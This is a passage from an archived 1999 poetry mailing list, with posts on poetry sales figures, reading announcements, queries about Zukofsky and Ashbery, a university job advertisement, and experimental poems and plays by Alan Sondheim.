The Creative Arts Café Poetry Series meets every Monday night at 7:30 at the Northern Westchester Center for the Arts located at 272 N. Bedford Road in Mt. Kisco. Easily accessible by railroad from NYC: Harlem Line (Brewster North) to Mt. Kisco Station. From station, cab is $3.00 - 3 minutes to art center! For a schedule of readings and literary Arts workshops and classes or directions to NWCA, please call [redacted].

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
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 </html>

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212. juliana spahr
dobyns v. hejinian
Sat 16 Oct 1999

It seems that both Dobyns and Hejinian sell more or less similarly in poetry sales (which I think might complicate the marginal v. mainstream set up).

Dobyns Velocities: New and Selected Poems sold 9,421 copies as of August of 1999 (a single title such as Dobyn's Body Traffic sold 3,066); Hejinian's My Life has sold around 8,000 copies as of September 1999 (Sun & Moon edition only; Burning Deck edition sold out but I don't know the print run on that). I don't have stats on other Hejinian titles but imagine they are less.

Although one thing to consider is that Dobyns's Velocities was published in 1994. Hejinian has accumulated those sales over a much a longer time. It might take some more time to actually straighten out the sales similarities. Who knows though if Velocities will get the long term spread of sales that My Life has.

Still seems like an interesting similarity considering the muscle of Penguin v. Sun & Moon and also there must be significant spin off sales b/c of Dobyns's other writings that make his poetry sell better. (He seems to be the best selling Penguin poet.)

Lisa Samuels has an article written shortly after (it seems) Beach's where she complains about the canonization of My Life in MLS.

I'm looking forward to reading the Beach.

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213. Mark DuCharme
Re: demographic query
Sat 16 Oct 1999

John Lowther wrote:

> *at times i've been interested to see the country by country numerical listing of poetix listees*
>
> *but i wonder if it might be possible to zero in on states or regions and plot the distribution along those lines*

> *more for curiousity than any other reason*
>
> *but i'd love to know how many listees there are in*
>
> *florida*
> *geogia*
> *south carolina*
> *north carolina*
> *virgina*
> *alabama*
> *louisianna*
> *tennesee*
> *mississippi*
>
> *that is, the south (did i forget any states ?)*

pete spece wrote:

> *what about the SOUTH ZAUMIST PROTECTORITE whyche i'm LIT Minister of!!*
> *pete*
> *spence*

Mark DuCharme writes:

...& while we're being regionalist, what about per-capita List subscription by city or Metropolitan area? (Boulder, the poetry scene/city which I inhabit, comes to mind, but there are plenty of others: SF, NY, Lawrence KS, Philly, etc., etc.

Get Your Private, Free Email at http://www.hotmail.com

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214. Dirk Rowntree
Re: Lest I remember
Sat 16 Oct 1999

I disagree with Dad Raphael when he writes that Allan Sondheim posts to the list “too often”. A discussion of this topic will perhaps go the core function or definition of the list's objectives, which could be interesting.

Sondhiem’s postings can be interesting to highly engaging on an individual basis and, on a broader more conceptual basis, bring up implications for the use of the list or for the use of the internet that have a good bit of vitality and relevance.

I certainly discourage any attempt by the list oversight people to censor or control this type of posting activity.

Dirk Rowntree

↑ Index

215. Dean Creighton
The Blue Bottle Project
Sun 17 Oct 1999

The Blue Bottle Project

http://smilingdogpress.tripod.com/index.htm

Please forward this message at will and whim.

↑ Index

216. Eugene Ostashevsky
handmade books sought
Sun 17 Oct 1999

HAND BOOKS

AN EXHIBIT / SALE
OF HANDMADE AND PRIVATELY PRINTED / XEROXED BOOKS,
ONE-OF-A-KIND'S, ZINES AND CHAPBOOKS
TO BE HELD NOVEMBER 6-7 (reception Nov 6)

IS LOOKING FOR SUBMISSIONS

PLEASE DROP YOUR WORK OFF
BEFORE NOVEMBER 3 AT

BLUE BOOKS

THE NEW SMALL PRESS BOOKSTORE
AT NEW COLLEGE

766 VALENCIA AND 19th
415 - 437 - 3494
http://www.newcollege.edu/bluebooks
HAND BOOKS IS CURATED BY DARIN KLEIN
[redacted]

(work exhibited may or may not be for sale
if yes, our cut is 40%)

PLEASE FORWARD THIS ANNOUNCEMENT
TO WHOEVER MIGHT BE INTERESTED

↑ Index

217. **pete spence**
Re: demographic query
Sun 17 Oct 1999

>not to mention the virtually adjacent Autonomous Freestate of Zaumnaya,
>42 degrees Lat N.
>
>Rasputin Zukofsky
>projectivist heretic
>
>Zaum in the Age of Electronic Huts
>http://net22.com/qazingulaza/zaum.html
>
,,,,nice to see someone with a sense of place
pete spence
ministry of zaum

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

218. **Alan Sondheim**
gratitude
Mon 18 Oct 1999

---

o

thank you for listening, jennifer
thank you for listening, jennifer

when I talk to you, and I do,
I want to talk with you,
for we have no friends.
I don't want to talk at you, and I do,
because I talk to you, and the whole
of the world listens.
the words die out: don't shout
"when I talk to you, and I do,
I want to talk with you,
for we have no friends.
I don't want to talk at you, and I do,
because I talk to you, and the whole
of the world listens.
the words die out, don't shout."

↑ Index

219. Daniel Carter

"seasonally" undulant little invite: writing group (email list: crosscurrentseas: http://crosscurrentseas.listbot.com/ (check out archives))

Mon 18 Oct 1999

{ }

riddle announcement here:

"we" got a new though now not so new though still relatively new tracing/marking/re-marking/lacing/stitching/collaging/interpolating/intertexting/ weaving/knitting/sewing/sowing/disseminating/writing list here that "we" started, could be that you started it too, so "we" might well be "you" too (U-2?). it's basically an anarkisstic, chaos, free-associational, collaborative, type type thing, like a group o' folks (though right now the the number of members relatively small, about 50 or so) playing/singing music, dancing t' music, together, only we'd be writing together. though there would be no stipulation that anybody had to collaborate. one could write by one's l(onesome) and let everyone see what they came up with or one could do whatever, individually and/or collaboratively with one or more or no others. who knows how it would/could all work out or not?!. right now the list is called "crosscurrentseas", but that could very well be changed to reflect the intuition/vision/desire/dream/imagination/thought/feeling of the group.

http://crosscurrentseas.listbot.com/

--

↑ Index

220. Sylvester Pollet

Bishop Nixs Pound!

Mon 18 Oct 1999

Awhile back I posted an announcement of Ezra Pound's induction into the Poets Corner at St John the so-called Divine in New York scheduled for later this week. Here's the latest news from Tim Redman (I asked permission to forward this):

> *I was informed by Omar Pound that Ezra Pound's installation in the Poet's Corner of St. John the Divine has been denied by the bishop. Evidently, a petition was circulated among parishioners protesting the decision by the Electors and threatening a demonstration.*

> *Tim Redman*

Anybody know any cardinals? Sylvester

↑ Index

221. Pattie McCarthy
query : : zukofsky
Mon 18 Oct 1999

hello.
could someone please point me in the direction
of anything written on Zukofsy's 80 Flowers ?
backchannel appreciated
& thanks very much in advance.
--Pattie McCarthy

↑ Index

222. Maria Damon
ashbery query
Mon 18 Oct 1999

hi all; a colleague who's using a few lines from The Waves as an epigraph wants to know about critical work on in. i can't think of anything; can you?

↑ Index

223. Lawrence Upton
from Jennifer Ley
Mon 18 Oct 1999

The new issue of Riding the Meridian
Sound/Text Hypertext Text/Text
is now online at: http://www.heelstone.com/meridian

The Sound/Text Hypertext Text/Text issue of Riding the Meridian was conceived to demonstrate just how much the act of being a poet has been influenced by the Internet in terms of creating and distributing new literary efforts.

The work some multimedia poets are doing on the Net has strong roots, stretching into the language poetry community -- into the field of early concrete poetry. Alaric Sumner's section on Sound/Text showcases the talents of seminal contributors to those genres, in the work of Bob Cobbing, Lawrence Upton, John Cayley, Caroline Bergvall and Charles Amirkhanian, among others, while Christy Sheffield Sanford and Jennifer Ley have tapped the field of talent in hypermedia, bringing works by writers like Annie Abrahams, M.D. Coverley and

Stephanie Strickland, Deena Larsen and Talan Memmott to show the spectrum of work being created in hypertext. Mark Bernstein, president and chief scientist of Eastgate Systems, Inc., talks about the early days of hypertext and the software he wrote to create it, Storyspace.

And, as the talents of pure text poets should not be seen to be overshadowed by this internet explosion of visuals and sounds, we've collected a group of text works highlighted by a selection of poems by David Weinstock from his new collection, Physical Findings. CK Tower has interviewed Alan Kaufman to gain insight into the current Spoken Word phenomenon and Chocolate Waters has brought us Realaudio by New York Spoken Word poet, Mark Larsen.

Sound/Text - Editor, Alaric Sumner

Creative work by:

Charles Amirkhanian
miekal and
Michael Basinski
Caroline Bergvall and John Cayley
cris cheek
Bob Cobbing
Joseph Hyde
Tony Kemplen
Wendy Kramer
Carlyle Reedy
Lawrence Upton

Articles by cris cheek, Petra Kuppers, Alaric Sumner, Lawrence Upton

Domestic Ambient Buoys (Bob Cobbing and Lawrence Upton) in discussion with Alaric Sumner

---

Hypertext and Hypermedia - Co-Curator, Christy Sheffield Sanford

Creative work by:

Annie Abrahams
Diane Caney
M.D. Coverley and Stephanie Strickland
Deena Larsen
Talan Memmott
Reiner Strasser
Dan Waber
geniwate

Articles by miekal and, M.D. Coverley

Interview with Mark Bernstein, Eastgate Systems, Inc.

Roundtable discussion with Robert Kendall, Sue Thomas, Ian Irvine, Alaric Sumner, Christy Sheffield Sanford

_____

Text Poetry

Creative Work by:

Janet I. Buck
CE Chaffin
Claire Dinsmore
Lou Faber
Larry Mallory
Ken Pobo
Barry Spacks
James Valvis
David Weinstock

Articles by Lily Iona MacKenzie, David Weinstock

Spoken Word

Word for Word: Alan Kaufman interviewed by CK Tower
In the Flesh: Spoken Word Poet: Mark Larsen by Chocolate Waters

***

editorial contact, Jennifer Ley - [redacted]

Next issue: Women and Gender, February 2000, in collaboration with Conspire

***

Please excuse any cross-postings if you are on several poetry mailing lists. If you receive this announcement as a personal message and wish to be taken off our distribution list, please let us know.
--
Riding the Meridian,
Sound/Text Hypertext Text/Text
guest editor Alaric Sumner, co-curator Christy Sheffield Sanford
http://www.heelstone.com/meridian/

↑ Index

224. Daniel Kane
hoa nguyen writing exercise
Mon 18 Oct 1999

---

to check out hoa's latest poetry writing exercise on WriteNet, go to

http://www.twc.org/forums/hnguyen_exercise12.html

For an index of all the exercises she's put up over the years, go to

http://www.writenet.org/virtualpoetrywrkshp.html

↑ Index

225. Taylor Brady
E-mail for Kristin Prevallet
Mon 18 Oct 1999

Could someone out there please b-c with this? Thanks.

Taylor Brady

↑ Index

226. Dana Lustig
Re: Studies or Essays on Tom Phillips
Mon 18 Oct 1999

David:

Thanks for the tip. I did contact Mary Ann Caws, and she briefly replied that she has written about/referenced Phillips in the past. Once I get more details, I'll send out a message to the list for those who are interested. She also told me that she is currently working on another essay about his work, which will be published in an "avant-garde mag" (?), but no other details forthcoming yet...

Dana Lisa

_____ Reply Separator _____
Subject: Re: Studies or Essays on Tom Phillips
Author: [redacted] at Internet-USA
Date: 10/13/99 4:36 PM

As far as i know Mary Ann Caws up at CUNY has written some essays on Phillips, though i'm not sure where they are located. It's a starting point thought.

David Giles Scott

↑ Index

227. Judy Smith McDonough
newest edition of poetrynow online
Mon 18 Oct 1999

hot off the cyberpress:
volume 2 number 1
poetrynow
<http://www.poetrynow.org>

↑ Index

228. Jerrold Shiroma
Small Press Publications Announcements deadline
Mon 18 Oct 1999

The deadline for this week's Small Press Listing @ Duration Press is this Friday. All publishers (of books, journals, etc.) who are interested in having their publications listed should mail all pertinent information--titles, authors, prices, ordering info, contact info, etc.--to [redacted]

↑ Index

229. jocelyn saidenberg
David Buuck and Brian Kim Stefans Reading at Small Press Traffic
Mon 18 Oct 1999

--==========_-1271837713==_ma==========

Small Press Traffic Reading
David Buuck and Brian Kim Stefans
Friday, October 22, 7:30 p.m.

When people ask, what's really new in poetry, we always give a name or two, and one is David Buuck's. His tentative, exacting poetry can be brutal at times; its enveloping structures want to pack the whole world in a suitcase, then fling it away. There is the constant questioning, abasement, loneliness; a concomitant beauty is born. David Buuck lives in San Francisco, where he co-edits Tripwire: a journal of poetics with Yedda Morrison. He is a 1999 Artist-in-Residence at the Headlands Center for the Arts in Marin. His poetry, prose, & essays appear or will appear in Object, Outlet, Torque, Lyric&, h2so4, Impossible Object, 5_Trope, Situation, and a new chapbook from Melodeon. This fall he enters the History of Consciousness Program at UCSC.

This will be Brian Kim Stefans' first reading in San Francisco, and we've been trying for a year to get him here. The formal experimentation that characterized 70s and 80s "Language Poetry" is here, alive and blooming, but with a pop-culture injection of speed, interface, dynamism, wit. Brian Kim Stefans is the

author of Free Space Comix (Roof Books, 1998), Gulf (Object Editions, 1998) and co-author (with Sianne Ngai) of The Cosmopolitans ("Interlope," issue 2). His graphic and interactive poetry can be found at www.ubu.com, and the on-line poetry journal he edits, Arras, is at www.bway.net/~arras. Criticism is forthcoming in Talisman. He works as Associate Project Coordinator in the web department at Fodor's Travel. When people ask, what's really new in poetry, we always give a name or two, and one is Brian Kim Stefans'.

New College Cultural Center
766 Valencia Street, San Francisco
$5

Small Press Traffic Literary Arts Center
766 Valencia Street
San Francisco, CA 94110
415/[redacted]
www.sptraffic.org
--==========_-1271837713==_ma==========

<fontfamily><param>Palatino</param><bigger><bigger>Small Press Traffic Reading

David Buuck and Brian Kim Stefans

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poetry can be found at www.ubu.com, and the on-line poetry journal he edits, <italic>Arras,</italic> is at www.bway.net/~arras. Criticism is forthcoming in <italic>Talisman.</italic> He works as Associate Project Coordinator in the web department at Fodor's Travel. When people ask, what's really new in poetry, we always give a name or two, and one is Brian Kim Stefans'.

New College Cultural Center

766 Valencia Street, San Francisco

$5 </bigger></bigger></fontfamily>

Small Press Traffic Literary Arts Center

766 Valencia Street

San Francisco, CA 94110

415/[redacted]

www.sptraffic.org

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↑ Index

230. David Kirschenbaum
New from Boog: Lee Ann Brown and Eleni Sikelianos
Mon 18 Oct 1999

Now available from Boog Literature:

Boogmark #1: Lee Ann Brown, "Sustain Petal"
Boogcard #4: Eleni Sikelianos, "My love is like talking"

$1 each ppd.

Published to commemorate the "Women Poets at Barnard College" reading on Thursday October 7, 1999.

Brown’s is H-11"x W-2" on cypress green cardstock.

Sikelianos's is H-8.5" x W-5.5" on ivory cardstock, with a linoleum block print by Daisy DeCapite, and can be mailed with a 33¢ stamp.

Checks payable to:
Boog Literature
351 W.24th Street Apt. 19E
New York, NY 10011-1510
Email: [redacted]

Website (under construction): www.booglit.com
tel: [redacted]

Boog Literature publications are edited and published by David A. Kirschenbaum.
Send SASE, or email, for catalog.

_____ Get FREE voice-mail, fax and email at http://voicemail.excite.com Talk online at http://voicechat.excite.com

↑ Index

231. David Kirschenbaum
Address Correction: Booglit 6 Pub. Party w/David Amram
Mon 18 Oct 1999

Please note, the Oasis Lounge is located at 121 St. Mark's Place (1st-A) New York City.

All apologies for the confusion and hope to see you there on Monday Oct. 25 at 8pm.

as ever,
David

_____ Get FREE voice-mail, fax and email at http://voicemail.excite.com Talk online at http://voicechat.excite.com

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232. J. Pecqueur
APR--Honickman First Book Award
Mon 18 Oct 1999

Listees:

I was wondering if anyone has the submission guidelines for APR's Honickman award. Creeley is judging it this year.

They ask for a self-addressed envelope for guidelines; and sometimes even this doesn't work to get the information.

If anyone could help out with this info, backchannel would probably be best, I'd much appreciate it.

Jean-Paul Pecqueur

↑ Index

233. **Carol L. Hamshaw**
[Fwd: Bowering, Compton, Rodin, Warland]
Mon 18 Oct 1999

Carol Hamshaw wrote:

> *FOR IMMEDIATE RELEASE*
> *The Capilano Review, Issue Launch*
> *November 10, 1999 at 7:30*
> *The WISE Hall, 1882 Adanac Street, Vancouver*
> *For more information:* [redacted]
>
> *Poetry Blues*
>
> *Literary and arts journal,The Capilano Review presents an evening of poetry and blues as we launch our Fall 1999 issue. Readings will be given by George Bowering, Renee Rodin, Wayde Compton and Betsy Warland between musical sets from the Jelly Roll Blues Band. The event starts at 7:30 in The WISE Social and Athletic Club's upstairs hall, on November 10, 1999. ADMISSION IS FREE; buy a $5 membership and get a copy of the new issue free.*
>
> *Sponsorship by Storm Brewing, Ltd.*
>
> *Author Bios:*
>
> *GEORGE BOWERING has published books in almost every mode and genre but has never been nominated for a B.C. Book Prize. His newest book is a popular history, Egoists and Autocrats. About the Canadian prime ministers, it is published by Viking, and will be published in paperback by Penguin.*
> *WAYDE COMPTON is a Vancouver writer. 49th Parallel Psalm (Advance Editions, 1999) is his first book, a documentary long poem chronicling the African Canadian presence in British Columbia from the arrival of the first black settlers in 1858 to the present.*
> *RENEE RODIN lives in Vancouver and is the author of Bread and Salt (Talon Books). She is currently working on a new collection of writing and is delighted to be in the first issue with Ryan Knighton as editor and wishes him lots of luck.*
> *BETSY WARLAND's most recent book of poetry, What Holds Us Here, was published in 1998. Her prose manuscript, Bloodroot, will be published by Second Story Press, Spring 1999. She is currently working on Breathing the Page -- a series of meditations on the materials of writing.*
>
> *About The Capilano Review*
>
> *Since its inception in 1972, The Capilano Review has published some of the finest fiction, poetry, drama and visual art in Canada and throughout the world. The magazine has been recognized for its superlative content by five National Magazine Awards, two Western Magazine Awards and a citation from*

> *the Canadian Studies Association. We have published Phyllis Webb, George Bowering, Daphne Marlatt, Evelyn Lau, Susan Crean, Roy Kiyooka, bpNichol, Michael Ondaatje, Margaret Atwood,Robin Blaser, Brian Fawcett, John Newlove, Duncan McNaughton, bill bissett, Audrey Thomas and numerous other internationally acclaimed writers and artists.*
>
> *The Capilano Review gratefully acknowledges the assistance of the Canada Council for the Arts, the Province of British Columbia, through the British Columbia Arts Council, and the Capilano College Humanites Division.*
>
> *Carol L. Hamshaw*
> *Managing Editor*
> *The Capilano Review*
> [redacted]
>
> *http://www.capcollege.bc.ca/dept/TCR*
>
> *For submission guidelines, please see*
>
> *http://www.capcollege.bc.ca/dept/TCR/submit.html*

--
Carol L. Hamshaw
Administrator
Edgewise ElectroLit Centre
http://www.edgewisecafe.org

↑ Index

234. Richard Frey
Sun., Nov.7, NOTcoffeeHouse - Caine, Levin, Romero, & music-Grant
Mon 18 Oct 1999

(NOTcoffeeHouse) Poetry and Performance Series
Sunday, November 7, 1 pm
First Unitarian Church
2125 Chestnut Street
Featured Readers:
Shulamith Wachter Caine
is still polishing her craft after having received the Gerald Cable Award from Silverfish Press for best first book for her book of poems, Love Fugue.
Lynn Levin
is author of A Few Questions About Paradise, a book of poems, $9.95 from Loonfeather Press, P. O. 1212, Bemidji, MN 56619
E-mail [redacted].

-and she was just named 1999 Bucks County Poet Laureate.
Danny Romero
is author of the novel, Calle 10, and a widely published poet whose work has been translated into Spanish. He is a teacher of Creative Writing at Temple University.
Featured Music:
Tom Grant
is a songwriter who recorded a CD earlier this year entitled "Streams of Consciousness". It's available through his website
http://www.icdc.com/~tgrant
Plus Open Poetry and Performance Showcase

Along with a live poetry reading and performance , we invite you to join in our website poetry reading presentation. All poets and performers may have a poem or a lyric featured in theNOTcoffeeHouse website. Send your work for inclusion in the ongoing internet presentation. Tell your friends all over the world to check our site! Poets and performers may submit works for direct posting on the website via email to the [redacted] or works may be emailed to Richard Frey at [redacted] or USPS or hand-delivered through slot at 500 South 25th Street, Philadelphia, PA 19146. More information: Church office, [redacted], Jeff Loo, [redacted] or Richard Frey, [redacted]. Visit our website at www.notcoffeehouse.org poets & performers previously appearing at NOTcoffeeHouse: Nathalie Anderson, Lisa Coffman, Barbara Cole, Barb Daniels, Linh Dinh, Lori-Nan Engler, Simone Zelitch, Dan Evans, Brenda McMillan, Kerry Sherin, John Kelly Green, Emiliano Martin, Jose Gamalinda, Toshi Makihara, Thom Nickels, Joanne Leva, Darcy Cummings, David Moolten, Kristen Gallagher, Shulamith Wachter Caine, Maralyn Lois Polak, Marcus Cafagna, Ethel Rackin, Lauren Crist, Beth Phillips Brown, Joseph Sorrentino, Frank X, Richard Kikionyogo, Elliott Levin, Leonard Gontarek, Lamont Steptoe, Bernard Stehle, Sharon Rhinesmith, Alexandra Grilikhes, C. A. Conrad, Nate Chinen, Jim Cory, Tom Grant, Gregg Biglieri, Stephanie Jane Parrino, Jeff Loo, Theodore A. Harris, Mike Magee, Wil Perkins, Deborah Burnham, UNSOUND, Danny Romero, Don Riggs, Shawn Walker, She-Haw, Scott Kramer, Judith Tomkins, 6 of the Unbearables - Alfred Vitale Ron Kolm, Jim Feast, Mike Carter, Sharon Mesmer, Carol Wierzbicki-,John Phillips, Quinn Eli, Molly Russakoff, Peggy Carrigan, Kelly McQuain, Patrick Kelly, Mark Sarro, Rocco Renzetti, Voices of a Different Dream - Annie Geheb, Ellen Ford Mason, Susan Windle - Bob Perelman, Jena Osman, Robyn Edelstein,Brian Patrick Heston, Francis Peter Hagen, Shankar Vedantam, Yolanda Wisher NOTE: Yolanda Wisher, Poet Laureate of Montgomery County, who read 10/3 at NOTcoffeeHouse series (Lynn Levin, 11/7, will be 2nd laureate in a row!) is with a community arts collective-in-progress called Poetry for the People, gathering on last Tuesdays at Toviah Thrift Store,

4211 Chestnut Street -free- 10/26, 11/30, 12/28 8-10pm vegetarian meal provided -- poetry for everyday livin'-- email [redacted]

↑ Index

235. **tasha329**

Treat Your Trick!! Poetry @ BORDERS, Mon., Oct. 25: A-A WIGHT & ML POLAK

Mon 18 Oct 1999

TREAT YOUR TRICK!!

poetry at borders
1727 walnut street
monday, october 25, at 7:30 sharp

A COUPLA CHIX
GIVVIN A POETRY READING

ANNE-ADELE WIGHT of Lizard Poems fame
MARALYN LOIS POLAK, Jersey Supermarket Cashier turned Drama Queen

↑ Index

236. **Elizabeth Treadwell**

Mangold/Alexander addresses

Mon 18 Oct 1999

If anyone has a current address for Sarah Mangold or Charles Alexander I'd be grateful for a backchannel....Thanks. Elizabeth

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237. **Daniel Kane**

a review of Kenneth Koch's "Making Your Own Days"

Tue 19 Oct 1999

California-based writer Jordan Clary reviews _Making Your Own Days_, written by Kenneth Koch and published by Simon & Schuster, 1999.

To read it, go to

http://www.writenet.org/TT_MYOD_FAQ.html

↑ Index

238. **Lowther, John**
Grad School Grafitto
Tue 19 Oct 1999

"always already" = a priori

↑ Index

239. **George Bowering**
Re: demographic query
Tue 19 Oct 1999

> *...& while we're being regionalist, what about per-capita List subscription by city or Metropolitan area? (Boulder, the poetry scene/city which I inhabit, comes to mind, but there are plenty of others: SF, NY, Lawrence KS, Philly, etc., etc.*

I am getting the idea that people are curious only about US places.

George Bowering.

,

fax: [redacted]

↑ Index

240. **George Bowering**
Re: Treat Your Trick!! Poetry @ BORDERS, Mon., Oct. 25: A-A WIGHT & ML POLAK
Tue 19 Oct 1999

I have been to 1727 Walnut Street, just yesterday, and it is a pure residential street, no book stores there at all.

> *poetry at borders*
> *1727 walnut street*
> *monday, october 25, at 7:30 sharp*
>
> *A COUPLA CHIX*
> *GIVVIN A POETRY READING*
>
> *ANNE-ADELE WIGHT of Lizard Poems fame*
> *MARALYN LOIS POLAK, Jersey Supermarket Cashier turned Drama Queen*

George Bowering.

,

fax: [redacted]

↑ Index

241. Lowther, John
Words by R.C.
Tue 19 Oct 1999

{poetix}

a few weeks ago i made a tape --- some 70 minutes of a possible 90 --- me reading the entire book _Words_ by creeley --- it was interesting to do --- to try to get in a reading, singular, something of the complexity that one finds in reading any poem of his --- i have that exact change yearbook with cd and so i had two exempla of his reading style to think about tho, ultimately, my taping doesnt sound too much like how i imagine r.c. wd have read these

since then this tape has been in my car player looping continually --- and this being atlanta i spend altogether too much time in that damned car --- but the tape has been a joy i feel like i know this whole book of poems much much better than my previous several-many readings of it had tuned me to --- last night i went back and looked at the text for the 1st time since the recording and the effect is very palpable, that i now know whole passages almost by heart

and it isnt that my readings are so brilliant --- in listening to the tape i hear in various places that i've missed a nuance by placing a certain stress here and not there or that something is, due to my reading, off-balance in a way that's not as interesting, or even, balanced in a way that i think wasnt felt, intended etc...

do other folks ever do this sort of thing ? i know my friend mark does as that's partially what suggested to me that i might make this tape --- just curious

)L

↑ Index

242. Daniel Kane
Bill Zavatsky and Daniel Kane reading at Teachers & Writers
Tue 19 Oct 1999

Self-promotion and more....

Bill Zavatsky, author of "For Steve Royal and Other Poems," translator of Larbaud, writer of many other poems and essays, etc., lines including

"My eyelids bury me. Shovels
of black whenever I blink.
My mother holds Aladdin's lamp
in her hands as she reads to me.

I am sick. Aladdin is sick,..."

and Daniel Kane, poems dotting various magazines, T&W web-boy, horsey lines including

"The old white mare is standing motionless
at the door the old white mare motionless
near the door white mare motionless standing
at the door white mare old just standing there
barely moving near the door"

will read as part of Jordan Davis's "Poetry City" series at

Teachers & Writers Collaborative
5 - 9 Union Square West, 7th Floor
New York, NY 10003
Tel. 212/[redacted]

Admission is free, as are the refreshments. Reading begins at 7 pm.

↑ Index

243. Jordan Davis
Oasia broadside #51
Tue 19 Oct 1999

LEGAL NOTICE OF PUBLICATION

Three Poems by Jordan Davis, $2

Backlist available, donations appreciated. For details, write:

Oasis Press
c/o Stephen Ellis
23 Mitton St
Portland ME 04102

↑ Index

244. Daniel Kane
Bill Zavatsky and Daniel Kane reading, Thursday, Oct. 28
Tue 19 Oct 1999

---

forgot to include the essential fact that the reading is on Thursday, Oct. 28 - apologies for double-posting.

Bill Zavatsky, author of "For Steve Royal and Other Poems," translator of Larbaud, writer of many other poems and essays, etc., lines including

"My eyelids bury me. Shovels
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near the door white mare motionless standing
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Teachers & Writers Collaborative
5 - 9 Union Square West, 7th Floor
New York, NY 10003
Tel. 212/[redacted]

Admission is free, as are the refreshments. Reading begins at 7 pm.

#This list-serve is designed for teachers and writers who want #to share ideas on teaching creative writing workshops for students #in grades K-12. To post, send mail to [redacted]. #To join the list-serve, send the message "subscribe writenet" to #[redacted]. #To join the list-serve digest, which will collect several #messages into a batch and send them to you as one message #(reducing the total amount of messages sent to your mailbox), #send the message "subscribe writenet-digest" to [redacted]. #To unsubscribe, send the message "unsubscribe writenet" or #To view an archive of past messages on the Web, go to #<www.twc.org/forums> and hit the "Teachers & Writers #Discussion Group" link.

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245. Nielsen, Aldon
Re: Los Angeles Reading
Tue 19 Oct 1999

Primus St. John will read

Wed. Oct. 20 8:00 PM

Loyola Marymount University
McIntosh Center in Sullivan Hall

7900 Loyola Blvd. just off Manchester near the airport

for info call Aldon Nielsen at [redacted]

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246. Mark Prejsnar
Quote of the day
Tue 19 Oct 1999

"But you're not *supposed* to understand art.. You're supposed to understand *culture.* Culture is mutual understanding. That is not communication. Communication is what I have in my music, with myself. Communication is when people don't understand each other. Because then there is a consciousness level that is being brought out of you, where an effort is made."

--Morton Feldman,
as quoted by Clark Coolidge

compliments of mark prejsnar
@lanta

↑ Index

247. C. S. Giscombe
(no subject)
Tue 19 Oct 1999

Dear Poetics List people:

Below is Penn State's ad from the current AWP List. As a member of the committee for this search I'm interested less in the "natural world" business than I am in the stuff about "building connections between writers in the university & institutions & groups in the community." I've been teaching here for a year now & think the place has a lot of potential. If you apply please drop me a note letting me know you've done so at this address: <<[redacted]>. (And please specify "job at PSU" or something like that in the subject line.) Thanks.

C. S. Giscombe

Penn State University. Assistant or Associate Professor in Creative

Writing, Tenure Track. We are seeking a well-published & actively

publishing creative writer & an experienced teacher of creative writing

whose work grows out of a sense of place or a connection with the natural world & whose interests include building connections between writers in the university & institutions & groups in the community. Genre open. The position offers the opportunity to participate in a successful MFA program & to work with undergraduates in a creative writing emphasis in a dynamic & collaborative English dept. MA, MFA, or PhD required by Aug. 2000. We offer competitive salary, teaching assignments, & professional support. We will begin

reviewing applicants Oct. 25, 1999 & continue accepting applications until the position is filled. Applications should be addressed to: Michael Begnal, Search Committee, Chair, Box CW, English, 119 Burrowes Bldg., University Park, PA 16802. AA/EOE. (MLA)

_____

C. S. Giscombe

Department of English/ Burrowes Building

The Pennsylvania State University

University Park 16803

[redacted] or [redacted]

↑ Index

248. KENT JOHNSON
Re: Lest I remember
Tue 19 Oct 1999

I just wanted to say that, to me, "what comes off sondheim's typewriter" is among the most thrillingly unusual and provocative labor (labor as in the creation of value and as in labor of love) in American poetry.

Kent

↑ Index

249. David Kellogg
Re: query : : zukofsky
Tue 19 Oct 1999

I hope you have a copy of Michelle Leggott's
Reading Zukofsky's 80 Flowers (Johns Hopkins
UP). I doubt you'll get anything better than that
right now.

Pattie McCarthy wrote:

> *hello.*
> *could someone please point me in the direction*
> *of anything written on Zukofsy's 80 Flowers ?*
> *backchannel appreciated*
> *& thanks very much in advance.*
> *--Pattie McCarthy*

--
David Kellogg

[redacted]
Duke University, University Writing Program
[redacted]

↑ Index

250. Tony Green
Re: _Words_ by R.C.
Tue 19 Oct 1999

John Lowther wrote
>a few weeks ago i made a tape --- some 70 minutes of a possible 90 --- me
>reading the entire book _Words_ by creeley --- it was interesting to do ---
>to try to get in a reading, singular, something of the complexity that one
>finds in reading any poem of his

&

>since then this tape has been in my car player looping continually --- and
>this being atlanta i spend altogether too much time in that damned car ---
>but the tape has been a joy i feel like i know this whole book of poems
much
>much better than my previous several-many readings of it had tuned me
to ---
>last night i went back and looked at the text for the 1st time since the
>recording and the effect is very palpable, that i now know whole passages
>almost by heart

if this isnt exactly what is usually called _criticism_ it is close to what I understand as making significant use of a poetic text, getting to know it, like learning - for instance - a piece of music

Tony Green

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251. Jacques Debrot
Re: ashbery query
Tue 19 Oct 1999

Maria,

Shoptaw has a very strong chp on _A Wave_ in _On the Outside Looking Out_.

--jacques

↑ Index

252. **Alan Sondheim**

THE PRESIDENT-MACHINE

Tue 19 Oct 1999

First - I do want to thank people who wrote in my defense. My work is directly concerned with contemporary poetics; it's also hardly something that appears out of my typewriter, but for better or worse is edited and re-edited obsessively (in fact I just led a discussion on trAce about editing).

Second - The piece below is part of a series of small plays or dialogs that Foofwa I'mobilite and I, with others, will be producing; you can find these at http://trace.ntu.ac.uk/writers/sondheim/diary/le.txt if you're interested. After Heiner Muller it has been difficult to write; these use or reference back to the 1938 Moscow show trials, and something in the writing, at least for me, remains at stake. I live in Giuliani territory and know the signs (which were there before Giuliani for that matter). The first of these plays or dialogs had already been sent to Poetics.

Third - The work is going well at trAce, and there have been some really beautiful and exciting contributions to "Yours"; I'd encourage you again to go to http://trace.ntu.ac.uk/writers/sondheim/index.htm and partici- pate. There are also the ongoing conferences at http://trace.ntu.ac.uk - the most recent still being Psychology and Writing - and the discussions have been excellent I think. ("Yours" is the replacement for the "Love and War" piece, which had grown enormous, and is now in a "writing museum" accessible through the index.htm.)

And Fourth - I want to thank the readers on this list in general for their generosity; I'd also like to see more work presented here that deals with Poetics - from a point of view _within_ poetry or other literary forms, complementing the work already from the position of critique or dialog.

- Alan

==========

THE PRESIDENT-MACHINE DOES ITS WORK SCATTERING JENNIFER'S WORDS AND BONES

<Curtain rises. Jennifer on stage. PRESIDENT-MACHINE-TRANSFORMS on stage.>

